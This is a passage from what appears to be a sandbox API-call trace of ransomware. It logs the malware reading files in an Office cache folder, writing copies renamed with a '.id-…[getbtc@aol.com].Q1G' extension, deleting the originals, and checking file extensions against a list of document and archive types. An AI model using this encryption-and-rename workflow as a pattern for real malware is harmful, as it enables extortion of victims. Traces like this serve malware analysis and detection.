liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.847] ReadFile (in: hFile=0x200, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.849] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34dfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.849] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.849] ReadFile (in: hFile=0x200, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34dfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x34dfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.873] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.873] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x34dfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0050.006] SetEndOfFile (hFile=0x200) returned 1 [0050.507] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fe5710 [0050.510] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0050.510] WriteFile (in: hFile=0x200, lpBuffer=0x3fe5710*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe5710*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.512] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0050.512] WriteFile (in: hFile=0x200, lpBuffer=0x3fe5710*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe5710*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.514] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x34dfc7c | out: lpNewFilePointer=0x0) returned 1 [0050.514] WriteFile (in: hFile=0x200, lpBuffer=0x3fe5710*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34dfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe5710*, lpNumberOfBytesWritten=0x34dfc88*=0x40000, lpOverlapped=0x0) returned 1 [0050.515] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fe5710 | out: hHeap=0x510000) returned 1 [0050.516] CloseHandle (hObject=0x200) returned 1 [0050.516] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0050.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.516] lstrlenW (lpString=".doc") returned 4 [0050.516] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.516] lstrlenW (lpString=".docx") returned 5 [0050.516] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0050.516] lstrlenW (lpString=".pdf") returned 4 [0050.516] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.516] lstrlenW (lpString=".xls") returned 4 [0050.516] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.516] lstrlenW (lpString=".xlsx") returned 5 [0050.516] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0050.516] lstrlenW (lpString=".ppt") returned 4 [0050.516] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.516] lstrlenW (lpString=".zip") returned 4 [0050.516] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.516] lstrlenW (lpString=".rar") returned 4 [0050.516] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.516] lstrlenW (lpString=".bz2") returned 4 [0050.517] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.517] lstrlenW (lpString=".7z") returned 3 [0050.517] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.517] lstrlenW (lpString=".dbf") returned 4 [0050.517] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.517] lstrlenW (lpString=".1cd") returned 4 [0050.517] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.517] lstrlenW (lpString=".jpg") returned 4 [0050.517] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.517] lstrlenW (lpString=".doc") returned 4 [0050.517] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.517] lstrlenW (lpString=".docx") returned 5 [0050.517] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0050.517] lstrlenW (lpString=".pdf") returned 4 [0050.517] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.517] lstrlenW (lpString=".xls") returned 4 [0050.517] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.517] lstrlenW (lpString=".xlsx") returned 5 [0050.517] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0050.517] lstrlenW (lpString=".ppt") returned 4 [0050.517] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.517] lstrlenW (lpString=".zip") returned 4 [0050.517] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.517] lstrlenW (lpString=".rar") returned 4 [0050.517] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.517] lstrlenW (lpString=".bz2") returned 4 [0050.517] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.517] lstrlenW (lpString=".7z") returned 3 [0050.517] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.517] lstrlenW (lpString=".dbf") returned 4 [0050.518] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.518] lstrlenW (lpString=".1cd") returned 4 [0050.518] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0050.518] lstrlenW (lpString=".jpg") returned 4 [0050.518] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.518] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Q1G") returned 1 [0050.518] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0050.518] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.969] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=715834) returned 1 [0050.969] CloseHandle (hObject=0x1fc) returned 1 [0050.969] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0050.969] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0050.969] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.969] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.969] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.969] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.969] GetLastError () returned 0x0 [0050.969] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0051.164] WriteFile (in: hFile=0x1f0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0051.178] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.178] WriteFile (in: hFile=0x1f0, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0x104, lpOverlapped=0x0) returned 1 [0051.178] SetEndOfFile (hFile=0x1f0) returned 1 [0051.178] CloseHandle (hObject=0x1f0) returned 1 [0051.178] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.178] SetEndOfFile (hFile=0x1fc) returned 1 [0051.846] CloseHandle (hObject=0x1fc) returned 1 [0051.847] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0051.847] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0051.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.847] lstrlenW (lpString=".doc") returned 4 [0051.847] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0051.847] lstrlenW (lpString=".docx") returned 5 [0051.847] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0051.847] lstrlenW (lpString=".pdf") returned 4 [0051.847] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0051.847] lstrlenW (lpString=".xls") returned 4 [0051.847] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0051.847] lstrlenW (lpString=".xlsx") returned 5 [0051.847] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0051.847] lstrlenW (lpString=".ppt") returned 4 [0051.847] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0051.847] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.847] lstrlenW (lpString=".zip") returned 4 [0051.847] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0051.848] lstrlenW (lpString=".rar") returned 4 [0051.848] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0051.848] lstrlenW (lpString=".bz2") returned 4 [0051.848] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0051.848] lstrlenW (lpString=".7z") returned 3 [0051.848] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0051.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.848] lstrlenW (lpString=".dbf") returned 4 [0051.848] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0051.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.848] lstrlenW (lpString=".1cd") returned 4 [0051.848] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0051.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.848] lstrlenW (lpString=".jpg") returned 4 [0051.848] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0051.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.848] lstrlenW (lpString=".doc") returned 4 [0051.848] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0051.848] lstrlenW (lpString=".docx") returned 5 [0051.848] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0051.848] lstrlenW (lpString=".pdf") returned 4 [0051.848] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0051.848] lstrlenW (lpString=".xls") returned 4 [0051.848] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0051.848] lstrlenW (lpString=".xlsx") returned 5 [0051.848] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0051.848] lstrlenW (lpString=".ppt") returned 4 [0051.848] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0051.848] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.848] lstrlenW (lpString=".zip") returned 4 [0051.848] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0051.848] lstrlenW (lpString=".rar") returned 4 [0051.848] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0051.848] lstrlenW (lpString=".bz2") returned 4 [0051.848] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0051.849] lstrlenW (lpString=".7z") returned 3 [0051.849] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0051.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.849] lstrlenW (lpString=".dbf") returned 4 [0051.849] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0051.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.849] lstrlenW (lpString=".1cd") returned 4 [0051.849] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0051.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0051.849] lstrlenW (lpString=".jpg") returned 4 [0051.849] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0051.849] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0051.849] lstrlenW (lpString="ose.exe") returned 7 [0051.849] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.853] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x34dff1c | out: lpFileSize=0x34dff1c*=174440) returned 1 [0051.853] CloseHandle (hObject=0x1fc) returned 1 [0051.853] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0051.858] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.858] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.858] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.859] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.859] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.859] GetLastError () returned 0x0 [0051.859] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x2a968, lpOverlapped=0x0) returned 1 [0051.865] WriteFile (in: hFile=0x208, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0051.868] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x34dfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.868] WriteFile (in: hFile=0x208, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x34dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x34dfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0051.869] SetEndOfFile (hFile=0x208) returned 1 [0051.869] CloseHandle (hObject=0x208) returned 1 [0051.869] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.869] SetEndOfFile (hFile=0x1fc) returned 1 [0051.871] CloseHandle (hObject=0x1fc) returned 1 [0051.871] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0051.871] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0051.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0051.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0051.871] lstrlenW (lpString=".doc") returned 4 [0051.871] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0051.871] lstrlenW (lpString=".docx") returned 5 [0051.871] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0051.871] lstrlenW (lpString=".pdf") returned 4 [0051.871] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0051.871] lstrlenW (lpString=".xls") returned 4 [0051.871] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0051.871] lstrlenW (lpString=".xlsx") returned 5 [0051.871] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0051.871] lstrlenW (lpString=".ppt") returned 4 [0051.871] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0051.871] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0051.871] lstrlenW (lpString=".zip") returned 4 [0051.871] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0051.871] lstrlenW (lpString=".rar") returned 4 [0051.871] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0051.872] lstrlenW (lpString=".bz2") returned 4 [0051.872] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0051.872] lstrlenW (lpString=".7z") returned 3 [0051.872] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0051.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0051.872] lstrlenW (lpString=".dbf") returned 4 [0051.872] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0051.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0051.872] lstrlenW (lpString=".1cd") returned 4 [0051.872] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0051.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0051.872] lstrlenW (lpString=".jpg") returned 4 [0051.872] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0051.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0051.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0051.872] lstrlenW (lpString=".doc") returned 4 [0051.872] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0051.872] lstrlenW (lpString=".docx") returned 5 [0051.872] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0051.872] lstrlenW (lpString=".pdf") returned 4 [0051.872] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0051.872] lstrlenW (lpString=".xls") returned 4 [0051.872] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0051.872] lstrlenW (lpString=".xlsx") returned 5 [0051.872] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0051.872] lstrlenW (lpString=".ppt") returned 4 [0051.872] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0051.872] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0051.872] lstrlenW (lpString=".zip") returned 4 [0051.872] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0051.872] lstrlenW (lpString=".rar") returned 4 [0051.872] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0051.872] lstrlenW (lpString=".bz2") returned 4 [0051.872] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0051.872] lstrlenW (lpString=".7z") returned 3 [0051.873] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0051.873] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0051.873] lstrlenW (lpString=".dbf") returned 4 [0051.873] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0051.873] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0051.873] lstrlenW (lpString=".1cd") returned 4 [0051.873] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0051.873] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0051.873] lstrlenW (lpString=".jpg") returned 4 [0051.873] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0051.873] lstrcmpiW (lpString1=".dll", lpString2=".Q1G") returned -1 [0051.873] lstrlenW (lpString="osetup.dll") returned 10 [0051.873] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 